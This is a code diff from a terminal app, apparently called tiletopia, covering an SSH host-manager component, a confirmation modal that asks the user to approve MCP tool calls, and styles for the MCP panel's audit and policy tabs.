// Per-row password edits (keyed by host id). Absent = unchanged.
|
||||
const [pwDrafts, setPwDrafts] = useState<Record<string, PasswordDraft>>({});
|
||||
// Which row is being edited. null = list view only.
|
||||
const [editingId, setEditingId] = useState<string | null>(null);
|
||||
const dialogRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Escape closes; click outside the panel closes.
|
||||
useEffect(() => {
|
||||
const onKey = (e: KeyboardEvent) => {
|
||||
if (e.key === "Escape") onClose();
|
||||
};
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [onClose]);
|
||||
|
||||
const startEdit = useCallback((id: string) => {
|
||||
setEditingId(id);
|
||||
setPwDrafts((cur) => {
|
||||
if (cur[id]) return cur;
|
||||
return { ...cur, [id]: { input: "", cleared: false } };
|
||||
});
|
||||
}, []);
|
||||
|
||||
const cancelEdit = useCallback(() => {
|
||||
// Revert any unsaved edits to that row from props; drop password drafts.
|
||||
setDraft((cur) =>
|
||||
cur
|
||||
.map((h) => {
|
||||
if (h.id !== editingId) return h;
|
||||
const original = hosts.find((o) => o.id === editingId);
|
||||
return original ?? h;
|
||||
})
|
||||
.filter((h) => {
|
||||
if (h.id !== editingId) return true;
|
||||
return hosts.some((o) => o.id === editingId);
|
||||
}),
|
||||
);
|
||||
if (editingId) {
|
||||
setPwDrafts((cur) => {
|
||||
if (!(editingId in cur)) return cur;
|
||||
const next = { ...cur };
|
||||
delete next[editingId];
|
||||
return next;
|
||||
});
|
||||
}
|
||||
setEditingId(null);
|
||||
}, [editingId, hosts]);
|
||||
|
||||
const onFieldChange = useCallback(
|
||||
(id: string, field: keyof SshHost, value: string) => {
|
||||
setDraft((cur) =>
|
||||
cur.map((h) => {
|
||||
if (h.id !== id) return h;
|
||||
if (field === "port") {
|
||||
if (value.trim() === "") return { ...h, port: undefined };
|
||||
const n = Number(value);
|
||||
if (!Number.isFinite(n) || n < 1 || n > 65535) return h;
|
||||
return { ...h, port: n };
|
||||
}
|
||||
if (field === "extraArgs") {
|
||||
const parts = value
|
||||
.split(/\s+/)
|
||||
.map((s) => s.trim())
|
||||
.filter((s) => s.length > 0);
|
||||
return { ...h, extraArgs: parts.length > 0 ? parts : undefined };
|
||||
}
|
||||
if (value.trim() === "" && field !== "label" && field !== "hostname") {
|
||||
const next = { ...h };
|
||||
delete next[field];
|
||||
return next;
|
||||
}
|
||||
return { ...h, [field]: value };
|
||||
}),
|
||||
);
|
||||
},
|
||||
[],
|
||||
);
|
||||
|
||||
const onPasswordInput = useCallback((id: string, value: string) => {
|
||||
setPwDrafts((cur) => ({
|
||||
...cur,
|
||||
[id]: { input: value, cleared: false },
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const onPasswordClear = useCallback((id: string) => {
|
||||
setPwDrafts((cur) => ({
|
||||
...cur,
|
||||
[id]: { input: "", cleared: true },
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const saveRow = useCallback(
|
||||
(id: string, e: FormEvent) => {
|
||||
e.preventDefault();
|
||||
const row = draft.find((h) => h.id === id);
|
||||
if (!row) return;
|
||||
if (!row.hostname.trim()) {
|
||||
// Hostname is the only truly required field. Refuse the save instead
|
||||
// of silently persisting a useless entry.
|
||||
return;
|
||||
}
|
||||
// Auto-fill label from hostname if the user left it blank.
|
||||
const cleaned: SshHost = {
|
||||
...row,
|
||||
label: row.label.trim() || row.hostname.trim(),
|
||||
hostname: row.hostname.trim(),
|
||||
};
|
||||
|
||||
// Apply the password edit — if any — BEFORE flipping `hasPassword`
|
||||
// on the local copy so the row redraws with the right state.
|
||||
const pw = pwDrafts[id];
|
||||
let nextHasPassword = row.hasPassword;
|
||||
if (pw) {
|
||||
if (pw.cleared) {
|
||||
onClearPassword(id);
|
||||
nextHasPassword = false;
|
||||
} else if (pw.input.length > 0) {
|
||||
onSavePassword(id, pw.input);
|
||||
nextHasPassword = true;
|
||||
}
|
||||
}
|
||||
cleaned.hasPassword = nextHasPassword;
|
||||
|
||||
const next = draft.map((h) => (h.id === id ? cleaned : h));
|
||||
setDraft(next);
|
||||
onSave(next.map(({ hasPassword: _hp, ...rest }) => rest));
|
||||
// Drop the pw draft so re-edit doesn't carry it over.
|
||||
setPwDrafts((cur) => {
|
||||
if (!(id in cur)) return cur;
|
||||
const nxt = { ...cur };
|
||||
delete nxt[id];
|
||||
return nxt;
|
||||
});
|
||||
setEditingId(null);
|
||||
},
|
||||
[draft, pwDrafts, onSave, onSavePassword, onClearPassword],
|
||||
);
|
||||
|
||||
const removeRow = useCallback(
|
||||
(id: string) => {
|
||||
const next = draft.filter((h) => h.id !== id);
|
||||
setDraft(next);
|
||||
// Strip hasPassword on persist — the backend recomputes it. (The
|
||||
// save command sweeps orphan credentials, so the deleted host's
|
||||
// password is also removed from keyring.)
|
||||
onSave(next.map(({ hasPassword: _hp, ...rest }) => rest));
|
||||
if (editingId === id) setEditingId(null);
|
||||
setPwDrafts((cur) => {
|
||||
if (!(id in cur)) return cur;
|
||||
const nxt = { ...cur };
|
||||
delete nxt[id];
|
||||
return nxt;
|
||||
});
|
||||
},
|
||||
[draft, editingId, onSave],
|
||||
);
|
||||
|
||||
const addRow = useCallback(() => {
|
||||
const fresh = blankHost();
|
||||
setDraft((cur) => [...cur, fresh]);
|
||||
setEditingId(fresh.id);
|
||||
setPwDrafts((cur) => ({
|
||||
...cur,
|
||||
[fresh.id]: { input: "", cleared: false },
|
||||
}));
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="host-mgr-overlay" onClick={onClose}>
|
||||
<div
|
||||
className="host-mgr-panel"
|
||||
ref={dialogRef}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-label="Manage SSH hosts"
|
||||
>
|
||||
<header className="host-mgr-header">
|
||||
<span className="host-mgr-title">SSH hosts</span>
|
||||
<button className="host-mgr-close" onClick={onClose} aria-label="Close">
|
||||
×
|
||||
</button>
|
||||
</header>
|
||||
|
||||
<div className="host-mgr-body">
|
||||
{draft.length === 0 ? (
|
||||
<p className="host-mgr-empty">
|
||||
No saved hosts. Click <strong>Add host</strong> to create one.
|
||||
</p>
|
||||
) : (
|
||||
<ul className="host-mgr-list">
|
||||
{draft.map((h) => (
|
||||
<li key={h.id} className="host-row">
|
||||
{editingId === h.id ? (
|
||||
<form className="host-form" onSubmit={(e) => saveRow(h.id, e)}>
|
||||
<label>
|
||||
Label
|
||||
<input
|
||||
type="text"
|
||||
value={h.label}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "label", e.target.value)
|
||||
}
|
||||
placeholder="prod-web"
|
||||
autoFocus
|
||||
/>
|
||||
</label>
|
||||
<label>
|
||||
Hostname <span className="required">*</span>
|
||||
<input
|
||||
type="text"
|
||||
required
|
||||
value={h.hostname}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "hostname", e.target.value)
|
||||
}
|
||||
placeholder="example.com or 10.0.0.5"
|
||||
/>
|
||||
</label>
|
||||
<div className="host-form-row">
|
||||
<label>
|
||||
User
|
||||
<input
|
||||
type="text"
|
||||
value={h.user ?? ""}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "user", e.target.value)
|
||||
}
|
||||
placeholder="(default)"
|
||||
/>
|
||||
</label>
|
||||
<label className="host-form-port">
|
||||
Port
|
||||
<input
|
||||
type="number"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={h.port ?? ""}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "port", e.target.value)
|
||||
}
|
||||
placeholder="22"
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
<label>
|
||||
Identity file
|
||||
<input
|
||||
type="text"
|
||||
value={h.identityFile ?? ""}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "identityFile", e.target.value)
|
||||
}
|
||||
placeholder="(uses ssh-agent / default)"
|
||||
/>
|
||||
</label>
|
||||
<label>
|
||||
Jump host
|
||||
<input
|
||||
type="text"
|
||||
value={h.jumpHost ?? ""}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "jumpHost", e.target.value)
|
||||
}
|
||||
placeholder="user@bastion[:port]"
|
||||
/>
|
||||
</label>
|
||||
<label>
|
||||
Extra ssh args
|
||||
<input
|
||||
type="text"
|
||||
value={(h.extraArgs ?? []).join(" ")}
|
||||
onChange={(e) =>
|
||||
onFieldChange(h.id, "extraArgs", e.target.value)
|
||||
}
|
||||
placeholder="-o ServerAliveInterval=30"
|
||||
/>
|
||||
</label>
|
||||
|
||||
<PasswordField
|
||||
hostHasPassword={!!h.hasPassword}
|
||||
draft={pwDrafts[h.id]}
|
||||
onChange={(v) => onPasswordInput(h.id, v)}
|
||||
onClear={() => onPasswordClear(h.id)}
|
||||
/>
|
||||
|
||||
<div className="host-form-actions">
|
||||
<button type="submit" className="primary">
|
||||
Save
|
||||
</button>
|
||||
<button type="button" onClick={cancelEdit}>
|
||||
Cancel
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="danger"
|
||||
onClick={() => removeRow(h.id)}
|
||||
>
|
||||
Delete
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
) : (
|
||||
<div className="host-display">
|
||||
<div className="host-summary">
|
||||
<div className="host-summary-label">
|
||||
{h.label || h.hostname}
|
||||
{h.hasPassword && (
|
||||
<span
|
||||
className="host-pw-badge"
|
||||
title="Password stored in Windows Credential Manager"
|
||||
>
|
||||
🔒
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="host-summary-detail">
|
||||
{h.user ? `${h.user}@` : ""}
|
||||
{h.hostname}
|
||||
{h.port ? `:${h.port}` : ""}
|
||||
{h.jumpHost ? ` via ${h.jumpHost}` : ""}
|
||||
</div>
|
||||
</div>
|
||||
<div className="host-actions">
|
||||
<button
|
||||
className="host-connect-btn"
|
||||
onClick={() => onConnect(h.id)}
|
||||
title={`Open a new pane connected to ${h.label}`}
|
||||
>
|
||||
Connect
|
||||
</button>
|
||||
<button
|
||||
className="host-edit-btn"
|
||||
onClick={() => startEdit(h.id)}
|
||||
>
|
||||
Edit
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
|
||||
<button className="host-add-btn" onClick={addRow}>
|
||||
+ Add host
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function PasswordField({
|
||||
hostHasPassword,
|
||||
draft,
|
||||
onChange,
|
||||
onClear,
|
||||
}: {
|
||||
hostHasPassword: boolean;
|
||||
draft: PasswordDraft | undefined;
|
||||
onChange: (value: string) => void;
|
||||
onClear: () => void;
|
||||
}) {
|
||||
const [reveal, setReveal] = useState(false);
|
||||
const cleared = draft?.cleared ?? false;
|
||||
const showClearButton = hostHasPassword && !cleared;
|
||||
|
||||
const placeholder = cleared
|
||||
? "(password will be removed on save)"
|
||||
: hostHasPassword
|
||||
? "(saved — leave blank to keep, or type new)"
|
||||
: "password (optional)";
|
||||
|
||||
return (
|
||||
<label>
|
||||
<span className="host-form-pw-label">
|
||||
Password
|
||||
<span
|
||||
className="host-form-pw-hint"
|
||||
title="Stored in Windows Credential Manager; auto-typed at the ssh password prompt on connect."
|
||||
>
|
||||
stored encrypted; auto-typed at prompt
|
||||
</span>
|
||||
</span>
|
||||
<div className="host-form-pw-row">
|
||||
<input
|
||||
type={reveal ? "text" : "password"}
|
||||
value={draft?.input ?? ""}
|
||||
onChange={(e) => onChange(e.target.value)}
|
||||
placeholder={placeholder}
|
||||
autoComplete="off"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
className="host-form-pw-reveal"
|
||||
onClick={() => setReveal((r) => !r)}
|
||||
title={reveal ? "Hide" : "Show"}
|
||||
>
|
||||
{reveal ? "🙈" : "👁"}
|
||||
</button>
|
||||
{showClearButton && (
|
||||
<button
|
||||
type="button"
|
||||
className="host-form-pw-clear"
|
||||
onClick={onClear}
|
||||
title="Remove the saved password from keyring on next Save"
|
||||
>
|
||||
Remove
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</label>
|
||||
);
|
||||
}
|
||||
96
src/components/McpConfirm.tsx
Normal file
96
src/components/McpConfirm.tsx
Normal file
|
|
@ -0,0 +1,96 @@
|
|||
import { useEffect } from "react";
|
||||
|
||||
export interface McpConfirmSpec {
|
||||
tool: string;
|
||||
args: unknown;
|
||||
reason: string | null;
|
||||
/** Human-readable summary of what's about to happen, computed by the
|
||||
* per-tool handler (e.g. "rename pane 'shell' to 'build'"). */
|
||||
summary: string;
|
||||
/** Set when the action targets (or spawns) an SSH-connected pane. The
|
||||
* modal renders an extra warning banner — SSH targets bypass our
|
||||
* in-app safety net since the remote shell expands aliases/subshells
|
||||
* before executing, and the policy engine only sees the bytes we send. */
|
||||
ssh?: { hostLabel: string };
|
||||
}
|
||||
|
||||
interface McpConfirmProps {
|
||||
spec: McpConfirmSpec;
|
||||
onAccept: () => void;
|
||||
onReject: () => void;
|
||||
/** Approve this call AND add the bare tool name to the policy allow list
|
||||
* so future calls of this tool skip the prompt. */
|
||||
onAlwaysAllow: () => void | Promise<void>;
|
||||
}
|
||||
|
||||
export default function McpConfirm({ spec, onAccept, onReject, onAlwaysAllow }: McpConfirmProps) {
|
||||
useEffect(() => {
|
||||
function onKey(e: KeyboardEvent) {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
onReject();
|
||||
} else if (e.key === "Enter") {
|
||||
e.preventDefault();
|
||||
onAccept();
|
||||
}
|
||||
}
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [onAccept, onReject]);
|
||||
|
||||
const argsJson = JSON.stringify(spec.args, null, 2);
|
||||
|
||||
return (
|
||||
<>
|
||||
<button
|
||||
className="backdrop"
|
||||
onClick={onReject}
|
||||
aria-label="Reject MCP action"
|
||||
/>
|
||||
<div className="mcp-confirm" role="dialog" aria-label="MCP action confirm">
|
||||
<header className="mcp-confirm-header">
|
||||
<span className="mcp-confirm-title">
|
||||
MCP wants to run <code>{spec.tool}</code>
|
||||
</span>
|
||||
</header>
|
||||
<div className="mcp-confirm-body">
|
||||
{spec.ssh && (
|
||||
<div className="mcp-confirm-ssh-warn">
|
||||
<strong>SSH target — extra caveats apply.</strong>{" "}
|
||||
This runs on the remote host <code>{spec.ssh.hostLabel}</code>.
|
||||
The pattern matching in your policy only sees the bytes
|
||||
tiletopia sends; the remote shell expands aliases, subshells,
|
||||
and variables before executing. The hard-deny list still
|
||||
applies, but treat this as <em>best-effort</em>, not a sandbox.
|
||||
</div>
|
||||
)}
|
||||
<p className="mcp-confirm-summary">{spec.summary}</p>
|
||||
{spec.reason && (
|
||||
<p className="mcp-confirm-reason">
|
||||
Policy decision: <em>{spec.reason}</em>
|
||||
</p>
|
||||
)}
|
||||
<details className="mcp-confirm-args">
|
||||
<summary>Raw arguments</summary>
|
||||
<pre>{argsJson}</pre>
|
||||
</details>
|
||||
</div>
|
||||
<footer className="mcp-confirm-actions">
|
||||
<button className="mcp-confirm-reject" onClick={onReject}>
|
||||
Reject (Esc)
|
||||
</button>
|
||||
<button
|
||||
className="mcp-confirm-always"
|
||||
onClick={() => { void onAlwaysAllow(); }}
|
||||
title={`Add "${spec.tool}" to the policy allow list — future calls of this tool won't prompt`}
|
||||
>
|
||||
Always allow {spec.tool}
|
||||
</button>
|
||||
<button className="mcp-confirm-accept" onClick={onAccept} autoFocus>
|
||||
Approve (Enter)
|
||||
</button>
|
||||
</footer>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
826
src/components/McpPanel.css
Normal file
826
src/components/McpPanel.css
Normal file
|
|
@ -0,0 +1,826 @@
|
|||
.mcp-panel {
|
||||
position: fixed;
|
||||
top: 8vh;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: min(680px, 92vw);
|
||||
max-height: 84vh;
|
||||
background: #161616;
|
||||
color: #ccc;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
|
||||
z-index: 100;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
}
|
||||
|
||||
.mcp-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
}
|
||||
.mcp-title { font-weight: 600; font-size: 13px; }
|
||||
.mcp-close {
|
||||
background: transparent; border: none; color: #888;
|
||||
font-size: 18px; line-height: 1; padding: 2px 8px;
|
||||
cursor: pointer; border-radius: 3px;
|
||||
}
|
||||
.mcp-close:hover { background: #2a2a2a; color: #ddd; }
|
||||
|
||||
/* ---- Tab bar ------------------------------------------------------------ */
|
||||
|
||||
.mcp-tabs {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
padding: 0 10px;
|
||||
}
|
||||
|
||||
.mcp-tab {
|
||||
position: relative;
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
font-weight: 500;
|
||||
letter-spacing: 0.04em;
|
||||
background: transparent;
|
||||
color: #777;
|
||||
border: none;
|
||||
border-bottom: 2px solid transparent;
|
||||
padding: 7px 12px 5px;
|
||||
cursor: pointer;
|
||||
transition: color 0.1s, border-color 0.1s;
|
||||
}
|
||||
.mcp-tab:hover { color: #bbb; }
|
||||
.mcp-tab--active {
|
||||
color: #cce6ff;
|
||||
border-bottom-color: #4488cc;
|
||||
}
|
||||
|
||||
/* Unread dot badge on the Audit tab */
|
||||
.mcp-tab-badge {
|
||||
display: inline-block;
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: #d8a040;
|
||||
vertical-align: middle;
|
||||
margin-left: 5px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
|
||||
/* ---- Body --------------------------------------------------------------- */
|
||||
|
||||
.mcp-body {
|
||||
padding: 14px 18px;
|
||||
overflow-y: auto;
|
||||
font-size: 12px;
|
||||
line-height: 1.45;
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: #2a2a2a transparent;
|
||||
}
|
||||
.mcp-body::-webkit-scrollbar { width: 8px; height: 8px; }
|
||||
.mcp-body::-webkit-scrollbar-track { background: transparent; }
|
||||
.mcp-body::-webkit-scrollbar-thumb {
|
||||
background: #2a2a2a;
|
||||
border-radius: 4px;
|
||||
border: 1px solid #1a1a1a;
|
||||
}
|
||||
.mcp-body::-webkit-scrollbar-thumb:hover { background: #3a3a3a; }
|
||||
.mcp-body::-webkit-scrollbar-corner { background: transparent; }
|
||||
|
||||
.mcp-blurb {
|
||||
color: #aaa;
|
||||
margin: 0 0 12px;
|
||||
}
|
||||
|
||||
.mcp-toggle-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.mcp-toggle {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
font-weight: 600;
|
||||
padding: 6px 14px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
background: #222;
|
||||
color: #999;
|
||||
border: 1px solid #2a2a2a;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
.mcp-toggle:hover:not(:disabled) { background: #2a2a2a; color: #ddd; }
|
||||
.mcp-toggle:disabled { opacity: 0.5; cursor: progress; }
|
||||
.mcp-toggle.on {
|
||||
background: #1a3a1a;
|
||||
color: #80e080;
|
||||
border-color: #2a6a2a;
|
||||
}
|
||||
.mcp-dot {
|
||||
width: 8px; height: 8px;
|
||||
border-radius: 50%;
|
||||
background: #555;
|
||||
}
|
||||
.mcp-toggle.on .mcp-dot {
|
||||
background: #80e080;
|
||||
box-shadow: 0 0 6px rgba(128, 224, 128, 0.6);
|
||||
}
|
||||
.mcp-allow-count {
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
}
|
||||
.mcp-allow-warn {
|
||||
color: #d8a040;
|
||||
}
|
||||
|
||||
.mcp-field {
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
.mcp-field label {
|
||||
display: block;
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
color: #777;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.mcp-field-row {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
}
|
||||
.mcp-field input {
|
||||
flex: 1 1 auto;
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
color: #e6e6e6;
|
||||
background: #0c0c0c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 4px 8px;
|
||||
outline: none;
|
||||
}
|
||||
.mcp-field button {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
background: #222;
|
||||
color: #aac;
|
||||
border: 1px solid #2a2a3a;
|
||||
border-radius: 3px;
|
||||
padding: 0 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.mcp-field button:hover {
|
||||
background: #2a2a3a;
|
||||
color: #ccd;
|
||||
}
|
||||
|
||||
/* Inline small-print under inputs — small, muted, tight line-height. Used by
|
||||
* the token hint and the .mcpb install hint. */
|
||||
.mcp-hint {
|
||||
margin: 4px 0 0;
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.mcp-hint code {
|
||||
background: #0c0c0c;
|
||||
padding: 1px 4px;
|
||||
border-radius: 2px;
|
||||
font-family: inherit;
|
||||
color: #aac;
|
||||
}
|
||||
|
||||
/* ---- Claude Desktop .mcpb install row ----------------------------------- */
|
||||
|
||||
.mcp-mcpb-row {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.mcp-mcpb-btn {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
background: #1a2a3a;
|
||||
color: #cce6ff;
|
||||
border: 1px solid #2a4a6a;
|
||||
border-radius: 3px;
|
||||
padding: 6px 14px;
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.mcp-mcpb-btn:hover {
|
||||
background: #2a4a6a;
|
||||
color: #e0f0ff;
|
||||
border-color: #4488cc;
|
||||
}
|
||||
|
||||
.mcp-mcpb-hint {
|
||||
flex: 1 1 auto;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.mcp-snippet {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
background: #0c0c0c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 8px 10px;
|
||||
margin: 0 0 6px;
|
||||
color: #cce6ff;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.mcp-tips {
|
||||
background: #1a2030;
|
||||
border: 1px solid #2a3040;
|
||||
border-radius: 4px;
|
||||
padding: 10px 12px;
|
||||
color: #aac;
|
||||
font-size: 11px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
.mcp-tips strong { color: #cce6ff; }
|
||||
.mcp-tips code {
|
||||
background: #0c0c0c;
|
||||
padding: 1px 4px;
|
||||
border-radius: 2px;
|
||||
font-family: inherit;
|
||||
}
|
||||
.mcp-tips pre {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
background: #0c0c0c;
|
||||
padding: 6px 8px;
|
||||
border-radius: 3px;
|
||||
margin: 4px 0;
|
||||
color: #cce6ff;
|
||||
}
|
||||
|
||||
.mcp-off-hint {
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
font-style: italic;
|
||||
margin: 8px 0 12px;
|
||||
}
|
||||
|
||||
.mcp-security {
|
||||
margin: 12px 0 0;
|
||||
padding-top: 10px;
|
||||
border-top: 1px solid #2a2a2a;
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
line-height: 1.45;
|
||||
}
|
||||
.mcp-security strong { color: #d8a040; }
|
||||
.mcp-security em { color: #d88; font-style: normal; }
|
||||
|
||||
/* =========================================================================
|
||||
Audit tab
|
||||
========================================================================= */
|
||||
|
||||
.audit-tab {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.audit-toolbar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: flex-end;
|
||||
gap: 8px;
|
||||
min-height: 24px;
|
||||
}
|
||||
|
||||
.audit-unread {
|
||||
font-size: 10px;
|
||||
color: #d8a040;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.audit-clear {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
background: #222;
|
||||
color: #aac;
|
||||
border: 1px solid #2a2a3a;
|
||||
border-radius: 3px;
|
||||
padding: 2px 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.audit-clear:hover:not(:disabled) { background: #2a2a3a; color: #ccd; }
|
||||
.audit-clear:disabled { opacity: 0.4; cursor: default; }
|
||||
|
||||
.audit-empty {
|
||||
color: #666;
|
||||
font-style: italic;
|
||||
font-size: 11px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
|
||||
.audit-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 11px;
|
||||
}
|
||||
.audit-table th {
|
||||
text-align: left;
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.07em;
|
||||
color: #666;
|
||||
padding: 0 6px 4px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
}
|
||||
.audit-table td {
|
||||
padding: 2px 6px;
|
||||
vertical-align: top;
|
||||
border-bottom: 1px solid #1c1c1c;
|
||||
}
|
||||
|
||||
/* Row tinting */
|
||||
.audit-row--ok td { background: rgba(80, 200, 80, 0.04); }
|
||||
.audit-row--denied td { background: rgba(220, 60, 60, 0.06); }
|
||||
.audit-row--failed td { background: rgba(220, 140, 30, 0.06); }
|
||||
|
||||
.audit-cell--time {
|
||||
font-size: 10px;
|
||||
color: #666;
|
||||
white-space: nowrap;
|
||||
font-family: inherit;
|
||||
}
|
||||
.audit-cell--tool {
|
||||
color: #cce6ff;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.audit-cell--args {
|
||||
color: #aaa;
|
||||
max-width: 200px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.audit-cell--result {
|
||||
white-space: nowrap;
|
||||
}
|
||||
.audit-errmsg {
|
||||
color: #888;
|
||||
font-size: 10px;
|
||||
max-width: 150px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
display: inline-block;
|
||||
vertical-align: middle;
|
||||
}
|
||||
.audit-cell--dur {
|
||||
color: #777;
|
||||
text-align: right;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
/* Result chips */
|
||||
.audit-chip {
|
||||
display: inline-block;
|
||||
font-size: 10px;
|
||||
font-weight: 600;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
vertical-align: middle;
|
||||
}
|
||||
.audit-chip--ok { background: #1a3a1a; color: #80e080; border: 1px solid #2a5a2a; }
|
||||
.audit-chip--denied { background: #3a1a1a; color: #e06060; border: 1px solid #5a2a2a; }
|
||||
.audit-chip--failed { background: #3a2a10; color: #d8a040; border: 1px solid #5a4a20; }
|
||||
.audit-chip--denied em { font-style: italic; color: #c04040; margin-left: 3px; }
|
||||
|
||||
/* =========================================================================
|
||||
Policy tab
|
||||
========================================================================= */
|
||||
|
||||
.policy-tab {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 14px;
|
||||
}
|
||||
|
||||
.policy-loading {
|
||||
color: #777;
|
||||
font-style: italic;
|
||||
font-size: 11px;
|
||||
}
|
||||
|
||||
.policy-toolbar {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.policy-hint {
|
||||
flex: 1 1 auto;
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
font-style: italic;
|
||||
margin: 0;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.policy-save-area {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.policy-save-error {
|
||||
color: #e06060;
|
||||
font-size: 10px;
|
||||
max-width: 150px;
|
||||
}
|
||||
|
||||
.policy-save-btn {
|
||||
font: inherit;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
background: #1a3a1a;
|
||||
color: #80e080;
|
||||
border: 1px solid #2a6a2a;
|
||||
border-radius: 3px;
|
||||
padding: 4px 14px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.policy-save-btn:hover:not(:disabled) { background: #225a22; }
|
||||
.policy-save-btn:disabled { opacity: 0.4; cursor: default; }
|
||||
|
||||
.policy-buckets {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.policy-bucket {
|
||||
background: #111;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
padding: 8px 10px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
}
|
